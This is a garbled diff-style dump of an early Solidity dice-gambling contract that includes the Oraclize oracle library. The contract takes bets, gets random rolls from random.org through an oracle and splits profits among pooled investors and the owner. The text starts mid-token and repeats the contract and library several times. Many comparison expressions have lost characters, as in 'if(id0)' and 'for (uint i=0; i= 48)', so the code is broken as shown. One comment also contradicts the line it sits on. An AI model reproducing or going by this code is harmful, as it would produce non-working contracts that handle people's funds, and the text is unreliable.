uint) investorIDs; + uint public invested = 0; + + address owner; + bool public isStopped; + + struct Bet { + address user; + uint bet; // amount + uint roll; // result + uint fee; + } + mapping (bytes32 => Bet) bets; + bytes32[] betsKeys; + uint public amountWagered = 0; + int public profit = 0; + int public takenProfit = 0; + int public ownerProfit = 0; + + function Dice(uint pwinInitial, uint edgeInitial, uint maxWinInitial, uint minBetInitial, uint maxInvestorsInitial, uint ownerEdgeInitial, uint divestFeeInitial) { + + oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); + + pwin = pwinInitial; + edge = edgeInitial; + maxWin = maxWinInitial; + minBet = minBetInitial; + maxInvestors = maxInvestorsInitial; + ownerEdge = ownerEdgeInitial; + divestFee = divestFeeInitial; + + owner = msg.sender; + } + + + function() { + bet(); + } + + function bet() { + if (isStopped) throw; + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", oraclizeGasLimit); + if (msg.value < oraclizeFee) throw; + uint betValue = msg.value - oraclizeFee; + if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { + bytes32 myid = oraclize_query("URL", "json(https://api.random.org/json-rpc/1/invoke).result.random.data.0", 'BDXJhrVpBJ53o2CxlJRlQtZJKZqLYt5IQe+73YDS4HtNjS5HodbIB3tvfow7UquyAk085VkLnL9EpKgwqWQz7ZLdGvsQlRd2sKxIolNg9DbnfPspGqLhLbbYSVnN8CwvsjpAXcSSo3c+4cNwC90yF4oNibkvD3ytapoZ7goTSyoUYTfwSjnw3ti+HJVH7N3+c0iwOCqZjDdsGQUcX3m3S/IHWbOOQQ5osO4Lbj3Gg0x1UdNtfUzYCFY79nzYgWIQEFCuRBI0n6NBvBQW727+OsDRY0J/9/gjt8ucibHWic0=', oraclizeGasLimit); // encrypted arg: '\n{"jsonrpc":2.0,"method":"generateSignedIntegers","params":{"apiKey":"YOUR_API_KEY","n":1,"min":1,"max":10000},"id":1}' + bets[myid] = Bet(msg.sender, betValue, 0, oraclizeFee); + betsKeys.push(myid); + } else { + throw; // invalid bet size + } + } + + function numBets() constant returns(uint) { + return betsKeys.length; + } + + function minBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", oraclizeGasLimit); + return oraclizeFee+minBet; + } + + function safeSend(address addr, uint value) internal { + if (!(addr.call.gas(safeGas).value(value)())){ + ownerProfit += int(value); + } + } + + function __callback(bytes32 myid, string result, bytes proof) { + if (msg.sender != oraclize_cbAddress()) throw; + + Bet thisBet = bets[myid]; + if (thisBet.bet>0) { + if ((isStopped == false)&&(((thisBet.bet * ((10000 - edge) - pwin)) / pwin ) <= maxWin * getBankroll() / 10000)) { + uint roll = parseInt(result); + if (roll<1 || roll>10000){ + safeSend(thisBet.user, thisBet.bet); + return; + } + + bets[myid].roll = roll; + + int profitDiff; + if (roll-1 < pwin) { //win + uint winAmount = (thisBet.bet * (10000 - edge)) / pwin; + safeSend(thisBet.user, winAmount); + profitDiff = int(thisBet.bet - winAmount); + } else { //lose + safeSend(thisBet.user, 1); + profitDiff = int(thisBet.bet) - 1; + } + + ownerProfit += (profitDiff*int(ownerEdge))/10000; + profit += profitDiff-(profitDiff*int(ownerEdge))/10000; + + amountWagered += thisBet.bet; + } else { + //bet is too big (bankroll may have changed since the bet was made) + safeSend(thisBet.user, thisBet.bet); + } + } + } + + function getBet(uint id) constant returns(address, uint, uint, uint) { + if(id0) { + rebalance(); + investors[investorIDs[msg.sender]].capital += msg.value; + invested += msg.value; + } else { + rebalance(); + uint investorID = 0; + if (numInvestors0) { + if (investors[investorID].capital>0) { + divest(investors[investorID].user, investors[investorID].capital); + investorIDs[investors[investorID].user] = 0; + } + if (investors[investorID].capital == 0 && investorIDs[investors[investorID].user] == 0) { + investors[investorID].user = msg.sender; + investors[investorID].capital = msg.value; + invested += msg.value; + investorIDs[msg.sender] = investorID; + } else { + throw; + } + } else { + throw; + } + } + } + + function rebalance() private { + if (takenProfit != profit) { + uint newInvested = 0; + uint initialBankroll = getBankroll(); + for (uint i=1; i<=numInvestors; i++) { + investors[i].capital = getBalance(investors[i].user); + newInvested += investors[i].capital; + } + invested = newInvested; + if (newInvested != initialBankroll && numInvestors>0) { + ownerProfit += int(initialBankroll - newInvested); //give the rounding error to the first investor + invested += (initialBankroll - newInvested); + } + takenProfit = profit; + } + } + + function divest(address user, uint amount) private { + if (investorIDs[user]>0) { + rebalance(); + if (amount>getBalance(user)) { + amount = getBalance(user); + } + investors[investorIDs[user]].capital -= amount; + invested -= amount; + + uint newAmount = (amount*divestFee)/10000; // take a fee from the deinvest amount + ownerProfit += int(newAmount); + safeSend(user, (amount-newAmount)); + } + } + + function divest(uint amount) { + if (msg.value>0) throw; + divest(msg.sender, amount); + } + + function divest() { + if (msg.value>0) throw; + divest(msg.sender, getBalance(msg.sender)); + } + + function getBalance(address user) constant returns(uint) { + if (investorIDs[user]>0 && invested>0) { + return investors[investorIDs[user]].capital * getBankroll() / invested; + } else { + return 0; + } + } + + function getBankroll() constant returns(uint) { + uint bankroll = uint(int(invested)+profit+ownerProfit-takenProfit); + if (this.balance < bankroll){ + log0("bankroll_mismatch"); + bankroll = this.balance; + } + return bankroll; + } + + function getMinInvestment() constant returns(uint) { + if (numInvestors +/* +Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani + + + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + + + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + + + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +*/ + +contract OraclizeI { + address public cbAddress; + function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); + function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); + function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); + function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); + function getPrice(string _datasource) returns (uint _dsprice); + function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); + function useCoupon(string _coupon); + function setProofType(byte _proofType); +} +contract OraclizeAddrResolverI { + function getAddress() returns (address _addr); +} +contract usingOraclize { + uint constant day = 60*60*24; + uint constant week = 60*60*24*7; + uint constant month = 60*60*24*30; + byte constant proofType_NONE = 0x00; + byte constant proofType_TLSNotary = 0x10; + byte constant proofStorage_IPFS = 0x01; + uint8 constant networkID_auto = 0; + uint8 constant networkID_mainnet = 1; + uint8 constant networkID_testnet = 2; + uint8 constant networkID_morden = 2; + uint8 constant networkID_consensys = 161; + + OraclizeAddrResolverI OAR; + + OraclizeI oraclize; + modifier oraclizeAPI { + address oraclizeAddr = OAR.getAddress(); + if (oraclizeAddr == 0){ + oraclize_setNetwork(networkID_auto); + oraclizeAddr = OAR.getAddress(); + } + oraclize = OraclizeI(oraclizeAddr); + _ + } + modifier coupon(string code){ + oraclize = OraclizeI(OAR.getAddress()); + oraclize.useCoupon(code); + _ + } + + function oraclize_setNetwork(uint8 networkID) internal returns(bool){ + if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ + OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); + return true; + } + if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ + OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); + return true; + } + if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ + OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); + return true; + } + return false; + } + + function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(0, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(timestamp, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(0, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); + } + function oraclize_cbAddress() oraclizeAPI internal returns (address){ + return oraclize.cbAddress(); + } + function oraclize_setProof(byte proofP) oraclizeAPI internal { + return oraclize.setProofType(proofP); + } + + function getCodeSize(address _addr) constant internal returns(uint _size) { + assembly { + _size := extcodesize(_addr) + } + } + + + function parseAddr(string _a) internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + + function strCompare(string _a, string _b) internal returns (int) { + bytes memory a = bytes(_a); + bytes memory b = bytes(_b); + uint minLength = a.length; + if (b.length < minLength) minLength = b.length; + for (uint i = 0; i < minLength; i ++) + if (a[i] < b[i]) + return -1; + else if (a[i] > b[i]) + return 1; + if (a.length < b.length) + return -1; + else if (a.length > b.length) + return 1; + else + return 0; + } + + function indexOf(string _haystack, string _needle) internal returns (int) + { + bytes memory h = bytes(_haystack); + bytes memory n = bytes(_needle); + if(h.length < 1 || n.length < 1 || (n.length > h.length)) + return -1; + else if(h.length > (2**128 -1)) + return -1; + else + { + uint subindex = 0; + for (uint i = 0; i < h.length; i ++) + { + if (h[i] == n[0]) + { + subindex = 1; + while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) + { + subindex++; + } + if(subindex == n.length) + return int(i); + } + } + return -1; + } + } + + function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ + bytes memory _ba = bytes(_a); + bytes memory _bb = bytes(_b); + bytes memory _bc = bytes(_c); + bytes memory _bd = bytes(_d); + bytes memory _be = bytes(_e); + string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); + bytes memory babcde = bytes(abcde); + uint k = 0; + for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; + for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; + for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; + for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; + for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; + return string(babcde); + } + + function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { + return strConcat(_a, _b, _c, _d, ""); + } + + function strConcat(string _a, string _b, string _c) internal returns (string) { + return strConcat(_a, _b, _c, "", ""); + } + + function strConcat(string _a, string _b) internal returns (string) { + return strConcat(_a, _b, "", "", ""); + } + + // parseInt + function parseInt(string _a) internal returns (uint) { + return parseInt(_a, 0); + } + + // parseInt(parseFloat*10^_b) + function parseInt(string _a, uint _b) internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decimals = false; + for (uint i=0; i= 48)&&(bresult[i] <= 57)){ + if (decimals){ + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decimals = true; + } + return mint; + } + + +} +// + +contract Dice is usingOraclize { + + uint public pwin = 5000; //probability of winning (10000 = 100%) + uint public edge = 200; //edge percentage (10000 = 100%) + uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) + uint public minBet = 1 finney; + uint public maxInvestors = 5; //maximum number of investors + uint public ownerEdge = 50; //edge percentage (10000 = 100%) + uint public divestFee = 50; //divest fee percentage (10000 = 100%) + + uint constant safeGas = 25000; + uint constant oraclizeGasLimit = 150000; + + struct Investor { + address user; + uint capital; + } + mapping(uint => Investor) investors; //starts at 1 + uint public numInvestors = 0; + mapping(address => uint) investorIDs; + uint public invested = 0; + + address owner; + bool public isStopped; + + struct Bet { + address user; + uint bet; // amount + uint roll; // result + uint fee; + } + mapping (bytes32 => Bet) bets; + bytes32[] betsKeys; + uint public amountWagered = 0; + int public profit = 0; + int public takenProfit = 0; + int public ownerProfit = 0; + + function Dice(uint pwinInitial, uint edgeInitial, uint maxWinInitial, uint minBetInitial, uint maxInvestorsInitial, uint ownerEdgeInitial, uint divestFeeInitial) { + + oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); + + pwin = pwinInitial; + edge = edgeInitial; + maxWin = maxWinInitial; + minBet = minBetInitial; + maxInvestors = maxInvestorsInitial; + ownerEdge = ownerEdgeInitial; + divestFee = divestFeeInitial; + + owner = msg.sender; + } + + + function() { + bet(); + } + + function bet() { + if (isStopped) throw; + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", oraclizeGasLimit); + if (msg.value < oraclizeFee) throw; + uint betValue = msg.value - oraclizeFee; + if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { + bytes32 myid = oraclize_query("URL", "json(https://api.random.org/json-rpc/1/invoke).result.random.data.0", 'BDXJhrVpBJ53o2CxlJRlQtZJKZqLYt5IQe+73YDS4HtNjS5HodbIB3tvfow7UquyAk085VkLnL9EpKgwqWQz7ZLdGvsQlRd2sKxIolNg9DbnfPspGqLhLbbYSVnN8CwvsjpAXcSSo3c+4cNwC90yF4oNibkvD3ytapoZ7goTSyoUYTfwSjnw3ti+HJVH7N3+c0iwOCqZjDdsGQUcX3m3S/IHWbOOQQ5osO4Lbj3Gg0x1UdNtfUzYCFY79nzYgWIQEFCuRBI0n6NBvBQW727+OsDRY0J/9/gjt8ucibHWic0=', oraclizeGasLimit); // encrypted arg: '\n{"jsonrpc":2.0,"method":"generateSignedIntegers","params":{"apiKey":"YOUR_API_KEY","n":1,"min":1,"max":10000},"id":1}' + bets[myid] = Bet(msg.sender, betValue, 0, oraclizeFee); + betsKeys.push(myid); + } else { + throw; // invalid bet size + } + } + + function numBets() constant returns(uint) { + return betsKeys.length; + } + + function minBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", oraclizeGasLimit); + return oraclizeFee+minBet; + } + + function safeSend(address addr, uint value) internal { + if (!(addr.call.gas(safeGas).value(value)())){ + ownerProfit += int(value); + } + } + + function __callback(bytes32 myid, string result, bytes proof) { + if (msg.sender != oraclize_cbAddress()) throw; + + Bet thisBet = bets[myid]; + if (thisBet.bet>0) { + if ((isStopped == false)&&(((thisBet.bet * ((10000 - edge) - pwin)) / pwin ) <= maxWin * getBankroll() / 10000)) { + uint roll = parseInt(result); + if (roll<1 || roll>10000){ + safeSend(thisBet.user, thisBet.bet); + return; + } + + bets[myid].roll = roll; + + int profitDiff; + if (roll-1 < pwin) { //win + uint winAmount = (thisBet.bet * (10000 - edge)) / pwin; + safeSend(thisBet.user, winAmount); + profitDiff = int(thisBet.bet - winAmount); + } else { //lose + safeSend(thisBet.user, 1); + profitDiff = int(thisBet.bet) - 1; + } + + ownerProfit += (profitDiff*int(ownerEdge))/10000; + profit += profitDiff-(profitDiff*int(ownerEdge))/10000; + + amountWagered += thisBet.bet; + } else { + //bet is too big (bankroll may have changed since the bet was made) + safeSend(thisBet.user, thisBet.bet); + } + } + } + + function getBet(uint id) constant returns(address, uint, uint, uint) { + if(id0) { + rebalance(); + investors[investorIDs[msg.sender]].capital += msg.value; + invested += msg.value; + } else { + rebalance(); + uint investorID = 0; + if (numInvestors0) { + if (investors[investorID].capital>0) { + divest(investors[investorID].user, investors[investorID].capital); + investorIDs[investors[investorID].user] = 0; + } + if (investors[investorID].capital == 0 && investorIDs[investors[investorID].user] == 0) { + investors[investorID].user = msg.sender; + investors[investorID].capital = msg.value; + invested += msg.value; + investorIDs[msg.sender] = investorID; + } else { + throw; + } + } else { + throw; + } + } + } + + function rebalance() private { + if (takenProfit != profit) { + uint newInvested = 0; + uint initialBankroll = getBankroll(); + for (uint i=1; i<=numInvestors; i++) { + investors[i].capital = getBalance(investors[i].user); + newInvested += investors[i].capital; + } + invested = newInvested; + if (newInvested != initialBankroll && numInvestors>0) { + ownerProfit += int(initialBankroll - newInvested); //give the rounding error to the first investor + invested += (initialBankroll - newInvested); + } + takenProfit = profit; + } + } + + function divest(address user, uint amount) private { + if (investorIDs[user]>0) { + rebalance(); + if (amount>getBalance(user)) { + amount = getBalance(user); + } + investors[investorIDs[user]].capital -= amount; + invested -= amount; + + uint newAmount = (amount*divestFee)/10000; // take a fee from the deinvest amount + ownerProfit += int(newAmount); + safeSend(user, (amount-newAmount)); + } + } + + function divest(uint amount) { + if (msg.value>0) throw; + divest(msg.sender, amount); + } + + function divest() { + if (msg.value>0) throw; + divest(msg.sender, getBalance(msg.sender)); + } + + function getBalance(address user) constant returns(uint) { + if (investorIDs[user]>0 && invested>0) { + return investors[investorIDs[user]].capital * getBankroll() / invested; + } else { + return 0; + } + } + + function getBankroll() constant returns(uint) { + uint bankroll = uint(int(invested)+profit+ownerProfit-takenProfit); + if (this.balance < bankroll){ + log0("bankroll_mismatch"); + bankroll = this.balance; + } + return bankroll; + } + + function getMinInvestment() constant returns(uint) { + if (numInvestors +/* +Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani + + + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + + + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + + + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +*/ + +contract OraclizeI { + address public cbAddress; + function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); + function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); + function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); + function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); + function getPrice(string _datasource) returns (uint _dsprice); + function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); + function useCoupon(string _coupon); + function setProofType(byte _proofType); +} +contract OraclizeAddrResolverI { + function getAddress() returns (address _addr); +} +contract usingOraclize { + uint constant day = 60*60*24; + uint constant week = 60*60*24*7; + uint constant month = 60*60*24*30; + byte constant proofType_NONE = 0x00; + byte constant proofType_TLSNotary = 0x10; + byte constant proofStorage_IPFS = 0x01; + uint8 constant networkID_auto = 0; + uint8 constant networkID_mainnet = 1; + uint8 constant networkID_testnet = 2; + uint8 constant networkID_morden = 2; + uint8 constant networkID_consensys = 161; + + OraclizeAddrResolverI OAR; + + OraclizeI oraclize; + modifier oraclizeAPI { + address oraclizeAddr = OAR.getAddress(); + if (oraclizeAddr == 0){ + oraclize_setNetwork(networkID_auto); + oraclizeAddr = OAR.getAddress(); + } + oraclize = OraclizeI(oraclizeAddr); + _ + } + modifier coupon(string code){ + oraclize = OraclizeI(OAR.getAddress()); + oraclize.useCoupon(code); + _ + } + + function oraclize_setNetwork(uint8 networkID) internal returns(bool){ + if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ + OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); + return true; + } + if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ + OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); + return true; + } + if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ + OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); + return true; + } + return false; + } + + function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(0, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(timestamp, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(0, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); + } + function oraclize_cbAddress() oraclizeAPI internal returns (address){ + return oraclize.cbAddress(); + } + function oraclize_setProof(byte proofP) oraclizeAPI internal { + return oraclize.setProofType(proofP); + } + + function getCodeSize(address _addr) constant internal returns(uint _size) { + assembly { + _size := extcodesize(_addr) + } + } + + + function parseAddr(string _a) internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + + function strCompare(string _a, string _b) internal returns (int) { + bytes memory a = bytes(_a); + bytes memory b = bytes(_b); + uint minLength = a.length; + if (b.length < minLength) minLength = b.length; + for (uint i = 0; i < minLength; i ++) + if (a[i] < b[i]) + return -1; + else if (a[i] > b[i]) + return 1; + if (a.length < b.length) + return -1; + else if (a.length > b.length) + return 1; + else + return 0; + } + + function indexOf(string _haystack, string _needle) internal returns (int) + { + bytes memory h = bytes(_haystack); + bytes memory n = bytes(_needle); + if(h.length < 1 || n.length < 1 || (n.length > h.length)) + return -1; + else if(h.length > (2**128 -1)) + return -1; + else + { + uint subindex = 0; + for (uint i = 0; i < h.length; i ++) + { + if (h[i] == n[0]) + { + subindex = 1; + while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) + { + subindex++; + } + if(subindex == n.length) + return int(i); + } + } + return -1; + } + } + + function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ + bytes memory _ba = bytes(_a); + bytes memory _bb = bytes(_b); + bytes memory _bc = bytes(_c); + bytes memory _bd = bytes(_d); + bytes memory _be = bytes(_e); + string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); + bytes memory babcde = bytes(abcde); + uint k = 0; + for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; + for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; + for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; + for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; + for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; + return string(babcde); + } + + function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { + return strConcat(_a, _b, _c, _d, ""); + } + + function strConcat(string _a, string _b, string _c) internal returns (string) { + return strConcat(_a, _b, _c, "", ""); + } + + function strConcat(string _a, string _b) internal returns (string) { + return strConcat(_a, _b, "", "", ""); + } + + // parseInt + function parseInt(string _a) internal returns (uint) { + return parseInt(_a, 0); + } + + // parseInt(parseFloat*10^_b) + function parseInt(string _a, uint _b) internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decimals = false; + for (uint i=0; i= 48)&&(bresult[i] <= 57)){ + if (decimals){ + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decimals = true; + } + return mint; + } + + +} +// + +contract Dice is usingOraclize { + + uint public pwin = 5000; //probability of winning (10000 = 100%) + uint public edge = 200; //edge percentage (10000 = 100%) + uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) + uint public minBet = 1 finney; + uint public maxInvestors = 5; //maximum number of investors + uint public ownerEdge = 50; //edge percentage (10000 = 100%) + uint public divestFee = 50; //divest fee percentage (10000 = 100%) + + uint constant safeGas = 25000; + uint constant oraclizeGasLimit = 150000; + + struct Investor { + address user; + uint capital; + } + mapping(uint => Investor) investors; //starts at 1 + uint public numInvestors = 0; + mapping(address => uint) investorIDs; + uint public invested = 0; + + address owner; + bool public isStopped; + + struct Bet { + address user; + uint bet; // amount + uint roll; // result + uint fee; + } + mapping (bytes32 => Bet) bets; + bytes32[] betsKeys; + uint public amountWagered = 0; + int public profit = 0; + int public takenProfit = 0; + int public ownerProfit = 0; + + function Dice(uint pwinInitial, uint edgeInitial, uint maxWinInitial, uint minBetInitial, uint maxInvestorsInitial, uint ownerEdgeInitial, uint divestFeeInitial) { + + oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); + + pwin = pwinInitial; + edge = 